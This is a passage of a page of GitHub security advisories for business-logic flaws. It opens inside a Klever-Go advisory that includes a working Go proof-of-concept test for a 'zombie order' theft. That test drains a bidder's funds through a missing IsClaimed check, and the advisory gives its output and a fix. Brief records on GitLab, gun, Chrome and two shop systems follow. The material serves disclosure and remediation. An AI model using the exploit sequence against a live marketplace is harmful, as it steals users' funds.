EndTime in the future\n\t// and does NOT delete the order -\u003e zombie order.\n\t// ============================================================\n\tstatus, err = marketKApp.Claim(attacker, \u0026transaction.ClaimContract{ID: orderID})\n\trequire.NoError(t, err, \"early seller-accept claim should succeed\")\n\trequire.Equal(t, transaction.Transaction_Ok, status)\n\n\t_, settledOrder, err := marketKApp.GetMarketOrder(orderID)\n\trequire.NoError(t, err, \"order must remain LOADABLE after early claim (not deleted)\")\n\trequire.True(t, settledOrder.IsClaimed, \"order is now claimed/settled\")\n\trequire.GreaterOrEqual(t, settledOrder.EndTime, blockTime,\n\t\t\"BUG: early-claim settle path leaves EndTime in the future (order looks live)\")\n\trequire.Equal(t, endTime, settledOrder.EndTime, \"EndTime was NOT reset by the settle path\")\n\n\t// A got the NFT proceeds back (owner payout == bid X), so A is whole again post-settle.\n\trequire.Equal(t, fundAttacker, balance(attacker), \"A recovered X as owner payout on settle\")\n\n\t// ============================================================\n\t// STEP 3: Victim B calls Buy on the ZOMBIE (already-claimed) order with Y\u003eX.\n\t// Buy has NO IsClaimed guard -\u003e this SUCCEEDS (the vulnerability).\n\t// ============================================================\n\tstatus, err = marketKApp.Buy(victim, \u0026transaction.BuyContract{\n\t\tID: orderID,\n\t\tCurrencyID: klv,\n\t\tAmount: bidY,\n\t})\n\trequire.NoError(t, err, \"BUG: Buy accepts a bid on an already-claimed (settled) order\")\n\trequire.Equal(t, transaction.Transaction_Ok, status,\n\t\t\"BUG: Buy returns Ok on a claimed order (missing IsClaimed guard)\")\n\n\trequire.Equal(t, fundVictim-bidY, balance(victim), \"B debited Y\")\n\trequire.Equal(t, fundAttacker+bidX, balance(attacker),\n\t\t\"A received a PHANTOM refund of X (funded by B) on the zombie order\")\n\n\t_, zombieOrder, err := marketKApp.GetMarketOrder(orderID)\n\trequire.NoError(t, err)\n\trequire.Equal(t, victim, zombieOrder.CurrentBidder, \"B is now CurrentBidder on a claimed order\")\n\trequire.Equal(t, bidY, zombieOrder.CurrentBid)\n\trequire.True(t, zombieOrder.IsClaimed, \"order is STILL claimed - B is stuck\")\n\n\t// ============================================================\n\t// HARM ASSERTION (a): B cannot Claim -\u003e reverts on IsClaimed (market.go L752).\n\t// ============================================================\n\tstatus, err = marketKApp.Claim(victim, \u0026transaction.ClaimContract{ID: orderID})\n\trequire.Error(t, err, \"HARM: B\u0027s Claim must revert (order already claimed)\")\n\trequire.Equal(t, transaction.Transaction_ParameterInvalid, status,\n\t\t\"HARM: Claim rejected via IsClaimed guard - B cannot retrieve NFT or refund\")\n\n\t// ============================================================\n\t// HARM ASSERTION (b): B cannot CancelOrder -\u003e reverts on IsClaimed (market.go L1125).\n\t// ============================================================\n\tstatus, err = marketKApp.CancelOrder(victim, \u0026transaction.CancelMarketOrderContract{OrderID: orderID})\n\trequire.Error(t, err, \"HARM: B\u0027s CancelOrder must revert (order already claimed)\")\n\trequire.Equal(t, transaction.Transaction_ParameterInvalid, status,\n\t\t\"HARM: CancelOrder rejected via IsClaimed guard - B cannot recover funds\")\n\n\t// ============================================================\n\t// HARM ASSERTION (c): Net accounting - B is permanently down Y with no NFT\n\t// and no recovery path; A is permanently up X.\n\t// ============================================================\n\trequire.Equal(t, fundVictim-bidY, balance(victim),\n\t\t\"HARM: B is down Y (%d) with no NFT and no recoverable path\", bidY)\n\trequire.Equal(t, fundAttacker+bidX, balance(attacker),\n\t\t\"HARM: A is up X (%d), siphoned from B\", bidX)\n\n\t// Confirm B never received the NFT (it was delivered to A at settle time).\n\tvictimFinal, err := accCacher.LoadUser(victim)\n\trequire.NoError(t, err)\n\t_, nftErr := victimFinal.SubInternalKDA(collectionID, assetID)\n\trequire.Error(t, nftErr, \"HARM: B holds no NFT for the funds it lost\")\n\n\tt.Logf(\"PROVEN: B lost %d KLV (balance %d -\u003e %d), unrecoverable. A gained %d KLV (balance %d -\u003e %d). \"+\n\t\t\"Y-X = %d KLV destroyed/stranded.\",\n\t\tbidY, fundVictim, balance(victim), bidX, fundAttacker, balance(attacker), bidY-bidX)\n}\n```\nExecutable Go test: `core/kapp/market/poc_zombie_order_test.go` \u2014 `TestPoC_ZombieOrder_MissingIsClaimedGuardInBuy`\n\nRun:\n```\ncd klever-go\nGOTOOLCHAIN=auto go test ./core/kapp/market/ -run TestPoC_ZombieOrder_MissingIsClaimedGuardInBuy -v\n```\n(Local Go 1.23.1 auto-fetches toolchain 1.25.7 per `go.mod`. Full market package suite passes no regressions.)\n\nOutput:\n```\nPROVEN: B lost 2000000 KLV (balance 10000000 -\u003e 8000000), unrecoverable.\n A gained 1000000 KLV (balance 10000000 -\u003e 11000000). Y-X = 1000000 KLV destroyed/stranded.\n--- PASS: TestPoC_ZombieOrder_MissingIsClaimedGuardInBuy (0.00s)\nPASS\n```\n\nAssertions proven (all using real market functions, harm-level not mechanism-level):\n- Resting bid: `Price=0` auction \u2192 bid rests (`CurrentBid=X`, `IsClaimed=false`), no auto-settle.\n- Early seller-accept `Claim` \u2192 `IsClaimed=true`, `EndTime` still in the future, order still loadable (the zombie).\n- Victim `Buy` on the claimed order returns `Transaction_Ok` (the vulnerability no `IsClaimed` guard).\n- Harm (a): victim\u0027s `Claim` reverts `Transaction_ParameterInvalid`.\n- Harm (b): victim\u0027s `CancelOrder` reverts `Transaction_ParameterInvalid`.\n- Harm (c): victim `\u2212Y`, attacker `+X`, victim holds no NFT and has no recovery path.\n\n### Impact\n\n- **Direct, permanent fund loss** for any bidder who bids on an already-settled order. The victim\u0027s entire bid `Y` is burned with nothing received and no recovery path (`Claim` and `CancelOrder` both revert on `IsClaimed`).\n- **Theft**: the attacker (seller, also acting as prior bidder `A` via Sybil) keeps the NFT *and* harvests `\u2248X` from each subsequent bidder. Repeatable across many bait orders.\n- **Value destruction**: `Y\u2212X` per victim is burned (supply strictly decreases this is theft/fund-loss, not net inflation).\n- No privileged role required , anyone can create a marketplace sell order.\n- Real-world likelihood is Medium: the victim must bid on a settled order that, on-chain, still reads `EndTime`-in-future; exposure depends on whether clients surface claimed orders as biddable (a naive/custom frontend or a sniping bot is trappable). \n\nImpact High \u00d7 Likelihood Medium -\u003e **High**.\n\n### Recommendation\n\nAdd an `IsClaimed` guard at the top of `Buy`, mirroring `Claim` (`market.go:752`) and `CancelOrder` (`market.go:1125`):\n\n```go\nif marketOrder.IsClaimed {\n return transaction.Transaction_ParameterInvalid, ErrMarketOrderAlreadyClaimed\n}\n```\n\nDefense-in-depth (optional but recommended): in `executeBuyMarket`, reset `EndTime`/`CurrentBid`/`CurrentBidder` (or delete the order) on early settlement so a settled order is no longer indistinguishable from a live one. Gate any consensus-visible behavior change behind an epoch fork flag so historical blocks reprocess identically.",
"id": "GHSA-26r5-4mm2-px5c",
"modified": "2026-09-23T21:24:03Z",
"published": "2026-09-23T21:24:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/klever-io/klever-go/security/advisories/GHSA-26r5-4mm2-px5c"
},
{
"type": "WEB",
"url": "https://github.com/klever-io/klever-go/pull/16"
},
{
"type": "WEB",
"url": "https://github.com/klever-io/klever-go/commit/063bb3ed98f9a84a4b1f7286680613a5fc3c91b2"
},
{
"type": "PACKAGE",
"url": "https://github.com/klever-io/klever-go"
},
{
"type": "WEB",
"url": "https://github.com/klever-io/klever-go/releases/tag/v1.7.20"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Klever-Go: Zombie-order theft: `Buy` missing `IsClaimed` guard in native marketplace"
}
GHSA-27R2-6RQH-XRG8
Vulnerability from github – Published: 2024-02-22 00:31 – Updated: 2024-02-22 00:31An authorization bypass vulnerability was discovered in GitLab affecting versions 15.1 prior to 16.7.6, 16.8 prior to 16.8.3, and 16.9 prior to 16.9.1. A developer could bypass CODEOWNERS approvals by creating a merge conflict.
{
"affected": [],
"aliases": [
"CVE-2024-0410"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-841"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-02-22T00:15:51Z",
"severity": "HIGH"
},
"details": "An authorization bypass vulnerability was discovered in GitLab affecting versions 15.1 prior to 16.7.6, 16.8 prior to 16.8.3, and 16.9 prior to 16.9.1. A developer could bypass CODEOWNERS approvals by creating a merge conflict.",
"id": "GHSA-27r2-6rqh-xrg8",
"modified": "2024-02-22T00:31:03Z",
"published": "2024-02-22T00:31:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-0410"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/2296778"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/gitlab/-/issues/437988"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-2J82-37XG-F9WP
Vulnerability from github – Published: 2026-06-08 15:33 – Updated: 2026-07-29 15:45Unexpected Status Code or Return Value vulnerability in ninenines gun (gun_http module) allows a malicious HTTP server to force the client into raw protocol mode via an unsolicited 101 Switching Protocols response.
In gun_http:handle_inform/8, when a 101 Switching Protocols response is received over HTTP/1.1, the function verifies only that the Upgrade header is syntactically valid and that the stream reference is a plain reference(). It does not check whether the client ever sent an Upgrade or Connection: upgrade header on the corresponding request. Because this check is absent, any 101 response (solicited or not) causes gun to dispatch a gun_upgrade message to the caller and transition the entire connection to raw protocol mode.
A malicious or compromised HTTP server can send an unsolicited 101 response to any HTTP/1.1 request, causing the gun client to abandon HTTP framing for that connection. Once in raw mode, gun_raw applies no flow control (flow=infinity) and re-arms socket active mode after every received packet, so the server can flood the client with arbitrary bytes. These are forwarded as unbounded gun_data messages to the owner process, exhausting its mailbox and BEAM memory, ultimately crashing the VM.
This issue affects gun: from 2.0.0 before 2.4.0.
{
"affected": [
{
"package": {
"ecosystem": "Hex",
"name": "gun"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.4.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-43974"
],
"database_specific": {
"cwe_ids": [
"CWE-841"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-29T15:45:59Z",
"nvd_published_at": "2026-06-08T15:16:46Z",
"severity": "HIGH"
},
"details": "Unexpected Status Code or Return Value vulnerability in ninenines gun (gun_http module) allows a malicious HTTP server to force the client into raw protocol mode via an unsolicited 101 Switching Protocols response.\n\nIn gun_http:handle_inform/8, when a 101 Switching Protocols response is received over HTTP/1.1, the function verifies only that the Upgrade header is syntactically valid and that the stream reference is a plain reference(). It does not check whether the client ever sent an Upgrade or Connection: upgrade header on the corresponding request. Because this check is absent, any 101 response (solicited or not) causes gun to dispatch a gun_upgrade message to the caller and transition the entire connection to raw protocol mode.\n\nA malicious or compromised HTTP server can send an unsolicited 101 response to any HTTP/1.1 request, causing the gun client to abandon HTTP framing for that connection. Once in raw mode, gun_raw applies no flow control (flow=infinity) and re-arms socket active mode after every received packet, so the server can flood the client with arbitrary bytes. These are forwarded as unbounded gun_data messages to the owner process, exhausting its mailbox and BEAM memory, ultimately crashing the VM.\n\nThis issue affects gun: from 2.0.0 before 2.4.0.",
"id": "GHSA-2j82-37xg-f9wp",
"modified": "2026-07-29T15:45:59Z",
"published": "2026-06-08T15:33:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-43974"
},
{
"type": "WEB",
"url": "https://github.com/ninenines/gun/commit/5b48068c29ce5e112cb149b5857c7d4dc319a81b"
},
{
"type": "WEB",
"url": "https://cna.erlef.org/cves/CVE-2026-43974.html"
},
{
"type": "PACKAGE",
"url": "https://github.com/ninenines/gun"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/EEF-CVE-2026-43974"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "gun has an Unexpected Status Code or Return Value vulnerability"
}
GHSA-33Q3-82M7-96MM
Vulnerability from github – Published: 2026-09-29 18:32 – Updated: 2026-09-30 21:32Inappropriate implementation in NFC in Google Chrome prior to 154.0.8037.57 allowed a remote attacker to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)
{
"affected": [],
"aliases": [
"CVE-2026-95370"
],
"database_specific": {
"cwe_ids": [
"CWE-841"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-29T18:17:30Z",
"severity": "MODERATE"
},
"details": "Inappropriate implementation in NFC in Google Chrome prior to 154.0.8037.57 allowed a remote attacker to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)",
"id": "GHSA-33q3-82m7-96mm",
"modified": "2026-09-30T21:32:01Z",
"published": "2026-09-29T18:32:11Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-95370"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2026/09/stable-channel-update-for-desktop_0856730748.html"
},
{
"type": "WEB",
"url": "https://issues.chromium.org/issues/517417437"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-3J3R-8QHC-763H
Vulnerability from github – Published: 2024-10-09 18:31 – Updated: 2024-10-12 00:30A loop hole in the payment logic of Sparkshop v1.16 allows attackers to arbitrarily modify the number of products.
{
"affected": [],
"aliases": [
"CVE-2024-46307"
],
"database_specific": {
"cwe_ids": [
"CWE-841"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-09T17:15:19Z",
"severity": "HIGH"
},
"details": "A loop hole in the payment logic of Sparkshop v1.16 allows attackers to arbitrarily modify the number of products.",
"id": "GHSA-3j3r-8qhc-763h",
"modified": "2024-10-12T00:30:47Z",
"published": "2024-10-09T18:31:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-46307"
},
{
"type": "WEB",
"url": "https://gitee.com/sparkshop/sparkshop"
},
{
"type": "WEB",
"url": "https://github.com/Yllxx03/CVE/tree/main/CVE-2024-46307"
},
{
"type": "WEB",
"url": "http://sparkshop.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-3WQR-83X4-348R
Vulnerability from github – Published: 2026-03-27 18:31 – Updated: 2026-03-27 21:31A Business Logic vulnerability exists in SourceCodester Pharmacy Product Management System 1.0 in the add-sales.php file. The application fails to verify if the requested sales quantity (txtqty) exceeds the available stock level. An attacker can manipulate the request to purchase a quantity that is significantly higher than the actual available stock.
{
"affected": [],
"aliases": [
"CVE-2026-30574"
],
"database_specific": {
"cwe_ids": [
"CWE-841"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-27T17:16:28Z",
"severity": "HIGH"
},
"details": "A Business Logic vulnerability exists in SourceCodester Pharmacy Product Management System 1.0 in the add-sales.php file. The application fails to verify if the requested sales quantity (txtqty) exceeds the available stock level. An attacker can manipulate the request to purchase a quantity that is significantly higher than the actual available stock.",
"id": "GHSA-3wqr-83x4-348r",
"modified": "2026-03-27T21:31:35Z",
"published": "2026-03-27T18:31:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30574"
},
{
"type": "WEB",
"url": "https://github.com/meifukun/Web-Security-PoCs/blob/main/Pharmacy-Product-Management-System/Logic-AddSales-Overselling.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
No mitigation information available for this CWE.
No CAPEC attack patterns related to this CWE.